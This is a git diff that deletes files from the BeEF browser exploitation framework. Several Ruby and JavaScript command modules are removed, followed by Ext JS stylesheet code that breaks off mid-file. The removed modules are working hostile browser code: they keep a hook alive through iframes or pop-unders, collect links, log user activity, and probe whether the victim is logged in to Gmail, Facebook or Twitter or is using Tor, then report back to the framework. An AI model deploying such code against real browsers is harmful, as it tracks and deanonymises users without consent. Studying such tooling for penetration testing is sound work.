--- a/modules/commands/persistence/iframe_above/iframe_above.js +++ /dev/null @@ -1,4 +0,0 @@ -beef.execute(function() { - beef.session.persistant(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); -}); diff --git a/modules/commands/persistence/iframe_above/iframe_above.rb b/modules/commands/persistence/iframe_above/iframe_above.rb deleted file mode 100644 index 8915fdb88..000000000 --- a/modules/commands/persistence/iframe_above/iframe_above.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Iframe_above < BeEF::Command - - # - # Defines and set up the commmand module. - # - def initialize - super({ - 'Name' => 'iFrame Persistance', - 'Description' => 'Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link.', - 'Category' => 'Persistence', - 'Author' => 'passbe', - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use_template! - - end - - # This method is being called when a hooked browser sends some - # data back to the framework. - # - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/persistence/popunder_window/popunder_window.js b/modules/commands/persistence/popunder_window/popunder_window.js deleted file mode 100644 index b82392a45..000000000 --- a/modules/commands/persistence/popunder_window/popunder_window.js +++ /dev/null @@ -1,10 +0,0 @@ -beef.execute(function() { - - var result="Pop-under window successfully created!"; - - window.open(window.location.protocol + '//' + window.location.host + '/demos/basic.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); - - window.focus(); - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); -}); diff --git a/modules/commands/persistence/popunder_window/popunder_window.rb b/modules/commands/persistence/popunder_window/popunder_window.rb deleted file mode 100644 index 6b651b845..000000000 --- a/modules/commands/persistence/popunder_window/popunder_window.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Popunder_window < BeEF::Command - - # - # Defines and set up the commmand module. - # - def initialize - super({ - 'Name' => 'Pop Under Window', - 'Description' => 'Creates a new discrete pop under window with the beef hook included.

This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release', - 'Category' => 'Persistence', - 'Author' => 'ethicalhack3r', - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use_template! - - end - - # This method is being called when a hooked browser sends some - # data back to the framework. - # - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/recon/collect_links/collect_links.js b/modules/commands/recon/collect_links/collect_links.js deleted file mode 100644 index 2bcc776bf..000000000 --- a/modules/commands/recon/collect_links/collect_links.js +++ /dev/null @@ -1,6 +0,0 @@ -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+escape(beef.dom.getLinks().toString())); - -}); - diff --git a/modules/commands/recon/collect_links/collect_links.rb b/modules/commands/recon/collect_links/collect_links.rb deleted file mode 100644 index f75731afb..000000000 --- a/modules/commands/recon/collect_links/collect_links.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Collect_links < BeEF::Command - - def initialize - super({ - 'Name' => 'Collect Links', - 'Description' => %Q{ - This module will retrieve HREFs from the target page - }, - 'Category' => 'Recon', - 'Author' => ['vo'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Links'] = @datastore['links'] - - save content - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/recon/detect_cookies_support/detect_cookies.js b/modules/commands/recon/detect_cookies_support/detect_cookies.js deleted file mode 100644 index a85563b0e..000000000 --- a/modules/commands/recon/detect_cookies_support/detect_cookies.js +++ /dev/null @@ -1,9 +0,0 @@ -beef.execute(function() { - - var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>"); - var persistentResult = beef.browser.cookie.hasPersistentCookies("<%= @cookie %>"); - - var results = {'has_session_cookies': sessionResult, 'has_persistent_cookies':persistentResult, 'cookie':'<%= @cookie %>'} - beef.net.send("<%= @command_url %>", <%= @command_id %>, results); -}); - diff --git a/modules/commands/recon/detect_cookies_support/detect_cookies.rb b/modules/commands/recon/detect_cookies_support/detect_cookies.rb deleted file mode 100644 index 678c0a19a..000000000 --- a/modules/commands/recon/detect_cookies_support/detect_cookies.rb +++ /dev/null @@ -1,44 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Detect_cookies < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect Cookie Support', - 'Description' => %Q{ - This module will check if the browser allows a cookie with specified name to be set. - }, - 'Category' => 'Recon', - 'Data' => [ - {'name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie'} - ], - 'Author' => ['vo'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.browser.cookie' - use_template! - end - - def callback - content = {} - content['Has Session Cookies'] = @datastore['has_session_cookies'] - content['Has Persistent Cookies'] = @datastore['has_persistent_cookies'] - content['Cookie Attempted'] = @datastore['cookie'] - save content - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/recon/detect_soc_nets/detect_soc_nets.js b/modules/commands/recon/detect_soc_nets/detect_soc_nets.js deleted file mode 100644 index 10a02dad2..000000000 --- a/modules/commands/recon/detect_soc_nets/detect_soc_nets.js +++ /dev/null @@ -1,67 +0,0 @@ -beef.execute(function() { - - var facebookresult = ""; - var twitterresult = ""; - - if (document.getElementById('gmailimg')) { - return "Img has already been created"; - } - - var img = new Image(); - img.setAttribute("style","visibility:hidden"); - img.setAttribute("width","0"); - img.setAttribute("height","0"); - img.src = 'https://mail.google.com/mail/photos/static/AD34hIiQyJTs5FhsJ1mhFdK9wx4OZU2AgLNZLBbk2zMHYPUfs-ZzXPLq2s2vdBmgnJ6SoUCeBbFnjRlPUDXw860gsEDSKPrhBJYDgDBCd7g36x2tuBQc0TM?'+ new Date(); - img.id = 'gmailimg'; - img.setAttribute("attr","start"); - img.onerror = function() { - this.setAttribute("attr","error"); - }; - img.onload = function() { - this.setAttribute("attr","load"); - }; - - - document.body.appendChild(img); - - $j.ajax({ - url: "https://twitter.com/account/use_phx?setting=false&format=text", - dataType: "script", - cache: "false", - error: function(one, two, three) { - twitterresult = "User is authenticated to Twitter"; - }, - success: function(one, two, three) { - twitterresult = "User is NOT authenticated to Twitter"; - }, - timeout: <%= @timeout %> - }); - - $j.ajax({ - url: "https://www.facebook.com/imike3", - dataType: "script", - cache: "false", - error: function(one, two, three) { - facebookresult = "User is NOT authenticated to Facebook"; - }, - success: function(one, two, three) { - facebookresult = "User is authenticated to Facebook"; - }, - timeout: <%= @timeout %> - }); - - setTimeout(function() { - var img2 = document.getElementById('gmailimg'); - if (img2.getAttribute("attr") == "error") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); - } else if (img2.getAttribute("attr") == "load") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); - } else if (img2.getAttribute("attr") == "start") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); - }; - document.body.removeChild(img2); - img = null; - img2 = null; - }, <%= @timeout %>+3000); - -}); diff --git a/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb b/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb deleted file mode 100644 index 61e04e6ac..000000000 --- a/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - -class Detect_soc_nets < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect Social Networks', - 'Description' => 'This module will detect if the Hooked Browser is currently authenticated to GMail, Facebook and Twitter', - 'Category' => 'Recon', - 'Author' => ['xntrik', 'Mike Cardwell'], - 'Data' => [ - {'name' => 'timeout', 'ui_label' => 'Detection Timeout','value' => '5000'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.net.local' - use_template! - end - - def callback - content = {} - content['GMail'] = @datastore['gmail'] - content['Facebook'] = @datastore['facebook'] - content['Twitter']= @datastore['twitter'] - save content - end - -end - -end -end -end diff --git a/modules/commands/recon/detect_tor/detect_tor.js b/modules/commands/recon/detect_tor/detect_tor.js deleted file mode 100644 index af7134d58..000000000 --- a/modules/commands/recon/detect_tor/detect_tor.js +++ /dev/null @@ -1,35 +0,0 @@ -beef.execute(function() { - - if (document.getElementById('torimg')) { - return "Img already created"; - } - - var img = new Image(); - img.setAttribute("style","visibility:hidden"); - img.setAttribute("width","0"); - img.setAttribute("height","0"); - img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif'; - img.id = 'torimg'; - img.setAttribute("attr","start"); - img.onerror = function() { - this.setAttribute("attr","error"); - }; - img.onload = function() { - this.setAttribute("attr","load"); - }; - - document.body.appendChild(img); - - setTimeout(function() { - var img = document.getElementById('torimg'); - if (img.getAttribute("attr") == "error") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor'); - } else if (img.getAttribute("attr") == "load") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor'); - } else if (img.getAttribute("attr") == "start") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor'); - }; - document.body.removeChild(img); - }, <%= @timeout %>); - -}); diff --git a/modules/commands/recon/detect_tor/detect_tor.rb b/modules/commands/recon/detect_tor/detect_tor.rb deleted file mode 100644 index 92469b9f0..000000000 --- a/modules/commands/recon/detect_tor/detect_tor.rb +++ /dev/null @@ -1,38 +0,0 @@ -module BeEF -module Modules -module Commands - -class Detect_tor < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect Tor', - 'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).', - 'Category' => 'Recon', - 'Author' => ['pdp', 'wade', 'bm', 'xntrik'], - 'Data' => [ - {'name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.net.local' - use_template! - end - - def callback - return if @datastore['result'].nil? - - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/recon/event_logger/event_logger.js b/modules/commands/recon/event_logger/event_logger.js deleted file mode 100644 index a348bee1e..000000000 --- a/modules/commands/recon/event_logger/event_logger.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - beef.logger.start(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Event logger has been started'); -}); - diff --git a/modules/commands/recon/event_logger/event_logger.rb b/modules/commands/recon/event_logger/event_logger.rb deleted file mode 100644 index 7cb7f8490..000000000 --- a/modules/commands/recon/event_logger/event_logger.rb +++ /dev/null @@ -1,37 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Event_logger < BeEF::Command - - def initialize - super({ - 'Name' => 'Event Logger', - 'Description' => %Q{ - Logs user activity on target browser. - }, - 'Category' => 'Recon', - 'Author' => ['passbe'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - - -end -end -end \ No newline at end of file diff --git a/public/css/base.css b/public/css/base.css deleted file mode 100644 index 362c09fc5..000000000 --- a/public/css/base.css +++ /dev/null @@ -1,93 +0,0 @@ -#header .right-menu { - float: right; - margin: 10px; - word-spacing: 5px; - font: 11px arial, tahoma, verdana, helvetica; - color:#000; -} - -#header a:link, -#header a:visited { - color:#000; - text-decoration:underline; -} - -.x-grid3-cell-inner, .x-grid3-hd-inner { - white-space: normal; /* changed from nowrap */ -} - -.x-grid-empty { - text-align:left; -} - -.feed-icon { - display: none; -} - -#zombie-tree-tabs-panel .x-tab-panel-header { - font: 11px tahoma,arial,helvetica,sans-serif; - padding: 0 0 0 0; - border-bottom: none; - text-align: center; -} - -/* - * Status bar - ****************************************/ -.x-statusbar .x-status-busy, -.x-statusbar .x-status-error, -.x-statusbar .x-status-valid { - background: transparent no-repeat 3px 2px; - padding-left: 25px !important; - padding-bottom: 2px !important; -} - -.x-statusbar .x-status-busy { - background-image: url(../images/statusbar/loading.gif); -} - -.x-statusbar .x-status-error { - color: #C33; - background-image: url(../images/statusbar/exclamation.gif); -} - -.x-statusbar .x-status-valid { - background-image: url(../images/statusbar/accept.png); -} - -.x-tree-node-leaf .x-tree-node-icon { - width: 13px; - height: 13px; - padding-top: 3px; -} - -/* - * Ext.beef.msg - ****************************************/ -.msg .x-box-mc { - font-size:14px; -} - -#msg-div { - position:absolute; - left:35%; - top:20px; - width:250px; - z-index:20000; -} - -/* - * Exploit Panel - ****************************************/ -.x-form-item-label, .x-form-element { - font: 11px tahoma,arial,helvetica,sans-serif; -} - -.command-module-panel-description { - margin-bottom: 10px; - padding-top: 4px; -} - -label { - font: 11px tahoma,arial,helvetica,sans-serif; -} diff --git a/public/css/ext-all.css b/public/css/ext-all.css deleted file mode 100644 index 22e51ccd4..000000000 --- a/public/css/ext-all.css +++ /dev/null @@ -1,6969 +0,0 @@ -/*! - * Ext JS Library 3.3.1 - * Copyright(c) 2006-2010 Sencha Inc. - * licensing@sencha.com - * http://www.sencha.com/license - */ -html,body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;}img,body,html{border:0;}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;}ol,ul {list-style:none;}caption,th {text-align:left;}h1,h2,h3,h4,h5,h6{font-size:100%;}q:before,q:after{content:'';} - -.ext-forced-border-box, .ext-forced-border-box * { - -moz-box-sizing: border-box; - -ms-box-sizing: border-box; - -webkit-box-sizing: border-box; -} -.ext-el-mask { - z-index: 100; - position: absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity: .50; - filter: alpha(opacity=50); - width: 100%; - height: 100%; - zoom: 1; -} - -.ext-el-mask-msg { - z-index: 20001; - position: absolute; - top: 0; - left: 0; - border:1px solid; - background:repeat-x 0 -16px; - padding:2px; -} - -.ext-el-mask-msg div { - padding:5px 10px 5px 10px; - border:1px solid; - cursor:wait; -} - -.ext-shim { - position:absolute; - visibility:hidden; - left:0; - top:0; - overflow:hidden; -} - -.ext-ie .ext-shim { - filter: alpha(opacity=0); -} - -.ext-ie6 .ext-shim { - margin-left: 5px; - margin-top: 3px; -} - -.x-mask-loading div { - padding:5px 10px 5px 25px; - background:no-repeat 5px 5px; - line-height:16px; -} - -/* class for hiding elements without using display:none */ -.x-hidden, .x-hide-offsets { - position:absolute !important; - left:-10000px; - top:-10000px; - visibility:hidden; -} - -.x-hide-display { - display:none !important; -} - -.x-hide-nosize, -.x-hide-nosize * /* Emulate display:none for children */ - { - height:0px!important; - width:0px!important; - visibility:hidden!important; - border:none!important; - zoom:1; -} - -.x-hide-visibility { - visibility:hidden !important; -} - -.x-masked { - overflow: hidden !important; -} -.x-masked-relative { - position: relative !important; -} - -.x-masked select, .x-masked object, .x-masked embed { - visibility: hidden; -} - -.x-layer { - visibility: hidden; -} - -.x-unselectable, .x-unselectable * { - -moz-user-select: none; - -khtml-user-select: none; - -webkit-user-select:ignore; -} - -.x-repaint { - zoom: 1; - background-color: transparent; - -moz-outline: none; - outline: none; -} - -.x-item-disabled { - cursor: default; - opacity: .6; - -moz-opacity: .6; - filter: alpha(opacity=60); -} - -.x-item-disabled * { - cursor: default !important; -} - -.x-form-radio-group .x-item-disabled { - filter: none; -} - -.x-splitbar-proxy { - position: absolute; - visibility: hidden; - z-index: 20001; - zoom: 1; - line-height: 1px; - font-size: 1px; - overflow: hidden; -} - -.x-splitbar-h, .x-splitbar-proxy-h { - cursor: e-resize; - cursor: col-resize; -} - -.x-splitbar-v, .x-splitbar-proxy-v { - cursor: s-resize; - cursor: row-resize; -} - -.x-color-palette { - width: 150px; - height: 92px; - cursor: pointer; -} - -.x-color-palette a { - border: 1px solid; - float: left; - padding: 2px; - text-decoration: none; - -moz-outline: 0 none; - outline: 0 none; - cursor: pointer; -} - -.x-color-palette a:hover, .x-color-palette a.x-color-palette-sel { - border: 1px solid; -} - -.x-color-palette em { - display: block; - border: 1px solid; -} - -.x-color-palette em span { - cursor: pointer; - display: block; - height: 10px; - line-height: 10px; - width: 10px; -} - -.x-ie-shadow { - display: none; - position: absolute; - overflow: hidden; - left:0; - top:0; - zoom:1; -} - -.x-shadow { - display: none; - position: absolute; - overflow: hidden; - left:0; - top:0; -} - -.x-shadow * { - overflow: hidden; -} - -.x-shadow * { - padding: 0; - border: 0; - margin: 0; - clear: none; - zoom: 1; -} - -/* top bottom */ -.x-shadow .xstc, .x-shadow .xsbc { - height: 6px; - float: left; -} - -/* corners */ -.x-shadow .xstl, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbr { - width: 6px; - height: 6px; - float: left; -} - -/* sides */ -.x-shadow .xsc { - width: 100%; -} - -.x-shadow .xsml, .x-shadow .xsmr { - width: 6px; - float: left; - height: 100%; -} - -.x-shadow .xsmc { - float: left; - height: 100%; - background-color: transparent; -} - -.x-shadow .xst, .x-shadow .xsb { - height: 6px; - overflow: hidden; - width: 100%; -} - -.x-shadow .xsml { - background: transparent repeat-y 0 0; -} - -.x-shadow .xsmr { - background: transparent repeat-y -6px 0; -} - -.x-shadow .xstl { - background: transparent no-repeat 0 0; -} - -.x-shadow .xstc { - background: transparent repeat-x 0 -30px; -} - -.x-shadow .xstr { - background: transparent repeat-x 0 -18px; -} - -.x-shadow .xsbl { - background: transparent no-repeat 0 -12px; -} - -.x-shadow .xsbc { - background: transparent repeat-x 0 -36px; -} - -.x-shadow .xsbr { - background: transparent repeat-x 0 -6px; -} - -.loading-indicator { - background: no-repeat left; - padding-left: 20px; - line-height: 16px; - margin: 3px; -} - -.x-text-resize { - position: absolute; - left: -1000px; - top: -1000px; - visibility: hidden; - zoom: 1; -} - -.x-drag-overlay { - width: 100%; - height: 100%; - display: none; - position: absolute; - left: 0; - top: 0; - background-image:url(../images/default/s.gif); - z-index: 20000; -} - -.x-clear { - clear:both; - height:0; - overflow:hidden; - line-height:0; - font-size:0; -} - -.x-spotlight { - z-index: 8999; - position: absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity: .50; - filter: alpha(opacity=50); - width:0; - height:0; - zoom: 1; -} - -#x-history-frame { - position:absolute; - top:-1px; - left:0; - width:1px; - height:1px; - visibility:hidden; -} - -#x-history-field { - position:absolute; - top:0; - left:-1px; - width:1px; - height:1px; - visibility:hidden; -} -.x-resizable-handle { - position:absolute; - z-index:100; - /* ie needs these */ - font-size:1px; - line-height:6px; - overflow:hidden; - filter:alpha(opacity=0); - opacity:0; - zoom:1; -} - -.x-resizable-handle-east{ - width:6px; - cursor:e-resize; - right:0; - top:0; - height:100%; -} - -.ext-ie .x-resizable-handle-east { - margin-right:-1px; /*IE rounding error*/ -} - -.x-resizable-handle-south{ - width:100%; - cursor:s-resize; - left:0; - bottom:0; - height:6px; -} - -.ext-ie .x-resizable-handle-south { - margin-bottom:-1px; /*IE rounding error*/ -} - -.x-resizable-handle-west{ - width:6px; - cursor:w-resize; - left:0; - top:0; - height:100%; -} - -.x-resizable-handle-north{ - width:100%; - cursor:n-resize; - left:0; - top:0; - height:6px; -} - -.x-resizable-handle-southeast{ - width:6px; - cursor:se-resize; - right:0; - bottom:0; - height:6px; - z-index:101; -} - -.x-resizable-handle-northwest{ - width:6px; - cursor:nw-resize; - left:0; - top:0; - height:6px; - z-index:101; -} - -.x-resizable-handle-northeast{ - width:6px; - cursor:ne-resize; - right:0; - top:0; - height:6px; - z-index:101; -} - -.x-resizable-handle-southwest{ - width:6px; - cursor:sw-resize; - left:0; - bottom:0; - height:6px; - z-index:101; -} - -.x-resizable-over .x-resizable-handle, .x-resizable-pinned .x-resizable-handle{ - filter:alpha(opacity=100); - opacity:1; -} - -.x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east, -.x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west -{ - background-position: left; -} - -.x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south, -.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north -{ - background-position: top; -} - -.x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{ - background-position: top left; -} - -.x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{ - background-position:bottom right; -} - -.x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{ - background-position: bottom left; -} - -.x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{ - background-position: top right; -} - -.x-resizable-proxy{ - border: 1px dashed; - position:absolute; - overflow:hidden; - display:none; - left:0; - top:0; - z-index:50000; -} - -.x-resizable-overlay{ - width:100%; - height:100%; - display:none; - position:absolute; - left:0; - top:0; - z-index:200000; - -moz-opacity: 0; - opacity:0; - filter: alpha(opacity=0); -} -.x-tab-panel { - overflow:hidden; -} - -.x-tab-panel-header, .x-tab-panel-footer { - border: 1px solid; - overflow:hidden; - zoom:1; -} - -.x-tab-panel-header { - border: 1px solid; - padding-bottom: 2px; -} - -.x-tab-panel-footer { - border: 1px solid; - padding-top: 2px; -} - -.x-tab-strip-wrap { - width:100%; - overflow:hidden; - position:relative; - zoom:1; -} - -ul.x-tab-strip { - display:block; - width:5000px; - zoom:1; -} - -ul.x-tab-strip-top{ - padding-top: 1px; - background: repeat-x bottom; - border-bottom: 1px solid; -} - -ul.x-tab-strip-bottom{ - padding-bottom: 1px; - background: repeat-x top; - border-top: 1px solid; - border-bottom: 0 none; -} - -.x-tab-panel-header-plain .x-tab-strip-top { - background:transparent !important; - padding-top:0 !important; -} - -.x-tab-panel-header-plain { - background:transparent !important; - border-width:0 !important; - padding-bottom:0 !important; -} - -.x-tab-panel-header-plain .x-tab-strip-spacer, -.x-tab-panel-footer-plain .x-tab-strip-spacer { - border:1px solid; - height:2px; - font-size:1px; - line-height:1px; -} - -.x-tab-panel-header-plain .x-tab-strip-spacer { - border-top: 0 none; -} - -.x-tab-panel-footer-plain .x-tab-strip-spacer { - border-bottom: 0 none; -} - -.x-tab-panel-footer-plain .x-tab-strip-bottom { - background:transparent !important; - padding-bottom:0 !important; -} - -.x-tab-panel-footer-plain { - background:transparent !important; - border-width:0 !important; - padding-top:0 !important; -} - -.ext-border-box .x-tab-panel-header-plain .x-tab-strip-spacer, -.ext-border-box .x-tab-panel-footer-plain .x-tab-strip-spacer { - height:3px; -} - -ul.x-tab-strip li { - float:left; - margin-left:2px; -} - -ul.x-tab-strip li.x-tab-edge { - float:left; - margin:0 !important; - padding:0 !important; - border:0 none !important; - font-size:1px !important; - line-height:1px !important; - overflow:hidden; - zoom:1; - background:transparent !important; - width:1px; -} - -.x-tab-strip a, .x-tab-strip span, .x-tab-strip em { - display:block; -} - -.x-tab-strip a { - text-decoration:none !important; - -moz-outline: none; - outline: none; - cursor:pointer; -} - -.x-tab-strip-inner { - overflow:hidden; - text-overflow: ellipsis; -} - -.x-tab-strip span.x-tab-strip-text { - white-space: nowrap; - cursor:pointer; - padding:4px 0; -} - -.x-tab-strip-top .x-tab-with-icon .x-tab-right { - padding-left:6px; -} - -.x-tab-strip .x-tab-with-icon span.x-tab-strip-text { - padding-left:20px; - background-position: 0 3px; - background-repeat: no-repeat; -} - -.x-tab-strip-active, .x-tab-strip-active a.x-tab-right { - cursor:default; -} - -.x-tab-strip-active span.x-tab-strip-text { - cursor:default; -} - -.x-tab-strip-disabled .x-tabs-text { - cursor:default; -} - -.x-tab-panel-body { - overflow:hidden; -} - -.x-tab-panel-bwrap { - overflow:hidden; -} - -.ext-ie .x-tab-strip .x-tab-right { - position:relative; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-right { - margin-bottom:-1px; -} - -/* - * Horrible hack for IE8 in quirks mode - */ -.ext-ie8 .x-tab-strip li { - position: relative; -} -.ext-border-box .ext-ie8 .x-tab-strip-top .x-tab-right { - top: 1px; -} -.ext-ie8 .x-tab-strip-top { - padding-top: 1; -} -.ext-border-box .ext-ie8 .x-tab-strip-top { - padding-top: 0; -} -.ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - top:3px; -} -.ext-border-box .ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - top:4px; -} -.ext-ie8 .x-tab-strip-bottom .x-tab-right{ - top:0; -} - - -.x-tab-strip-top .x-tab-strip-active .x-tab-right span.x-tab-strip-text { - padding-bottom:5px; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right { - margin-top:-1px; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right span.x-tab-strip-text { - padding-top:5px; -} - -.x-tab-strip-top .x-tab-right { - background: transparent no-repeat 0 -51px; - padding-left:10px; -} - -.x-tab-strip-top .x-tab-left { - background: transparent no-repeat right -351px; - padding-right:10px; -} - -.x-tab-strip-top .x-tab-strip-inner { - background: transparent repeat-x 0 -201px; -} - -.x-tab-strip-top .x-tab-strip-over .x-tab-right { - background-position:0 -101px; -} - -.x-tab-strip-top .x-tab-strip-over .x-tab-left { - background-position:right -401px; -} - -.x-tab-strip-top .x-tab-strip-over .x-tab-strip-inner { - background-position:0 -251px; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-right { - background-position: 0 0; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-left { - background-position: right -301px; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-strip-inner { - background-position: 0 -151px; -} - -.x-tab-strip-bottom .x-tab-right { - background: no-repeat bottom right; -} - -.x-tab-strip-bottom .x-tab-left { - background: no-repeat bottom left; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right { - background: no-repeat bottom right; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-left { - background: no-repeat bottom left; -} - -.x-tab-strip-bottom .x-tab-left { - margin-right: 3px; - padding:0 10px; -} - -.x-tab-strip-bottom .x-tab-right { - padding:0; -} - -.x-tab-strip .x-tab-strip-close { - display:none; -} - -.x-tab-strip-closable { - position:relative; -} - -.x-tab-strip-closable .x-tab-left { - padding-right:19px; -} - -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - opacity:.6; - -moz-opacity:.6; - background-repeat:no-repeat; - display:block; - width:11px; - height:11px; - position:absolute; - top:3px; - right:3px; - cursor:pointer; - z-index:2; -} - -.x-tab-strip .x-tab-strip-active a.x-tab-strip-close { - opacity:.8; - -moz-opacity:.8; -} -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{ - opacity:1; - -moz-opacity:1; -} - -.x-tab-panel-body { - border: 1px solid; -} - -.x-tab-panel-body-top { - border-top: 0 none; -} - -.x-tab-panel-body-bottom { - border-bottom: 0 none; -} - -.x-tab-scroller-left { - background: transparent no-repeat -18px 0; - border-bottom: 1px solid; - width:18px; - position:absolute; - left:0; - top:0; - z-index:10; - cursor:pointer; -} -.x-tab-scroller-left-over { - background-position: 0 0; -} - -.x-tab-scroller-left-disabled { - background-position: -18px 0; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); - cursor:default; -} - -.x-tab-scroller-right { - background: transparent no-repeat 0 0; - border-bottom: 1px solid; - width:18px; - position:absolute; - right:0; - top:0; - z-index:10; - cursor:pointer; -} - -.x-tab-scroller-right-over { - background-position: -18px 0; -} - -.x-tab-scroller-right-disabled { - background-position: 0 0; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); - cursor:default; -} - -.x-tab-scrolling-bottom .x-tab-scroller-left, .x-tab-scrolling-bottom .x-tab-scroller-right{ - margin-top: 1px; -} - -.x-tab-scrolling .x-tab-strip-wrap { - margin-left:18px; - margin-right:18px; -} - -.x-tab-scrolling { - position:relative; -} - -.x-tab-panel-bbar .x-toolbar { - border:1px solid; - border-top:0 none; - overflow:hidden; - padding:2px; -} - -.x-tab-panel-tbar .x-toolbar { - border:1px solid; - border-top:0 none; - overflow:hidden; - padding:2px; -}/* all fields */ -.x-form-field{ - margin: 0 0 0 0; -} - -.ext-webkit *:focus{ - outline: none !important; -} - -/* ---- text fields ---- */ -.x-form-text, textarea.x-form-field{ - padding:1px 3px; - background:repeat-x 0 0; - border:1px solid; -} - -textarea.x-form-field { - padding:2px 3px; -} - -.x-form-text, .ext-ie .x-form-file { - height:22px; - line-height:18px; - vertical-align:middle; -} - -.ext-ie6 .x-form-text, .ext-ie7 .x-form-text { - margin:-1px 0; /* ie bogus margin bug */ - height:22px; /* ie quirks */ - line-height:18px; -} - -.ext-ie6 .x-form-field-wrap .x-form-file-btn, .ext-ie7 .x-form-field-wrap .x-form-file-btn { - top: -1px; /* because of all these margin hacks, these buttons are off by one pixel in IE6,7 */ -} - -.ext-ie6 textarea.x-form-field, .ext-ie7 textarea.x-form-field { - margin:-1px 0; /* ie bogus margin bug */ -} - -.ext-strict .x-form-text { - height:18px; -} - -.ext-safari.ext-mac textarea.x-form-field { - margin-bottom:-2px; /* another bogus margin bug, safari/mac only */ -} - -/* -.ext-strict .ext-ie8 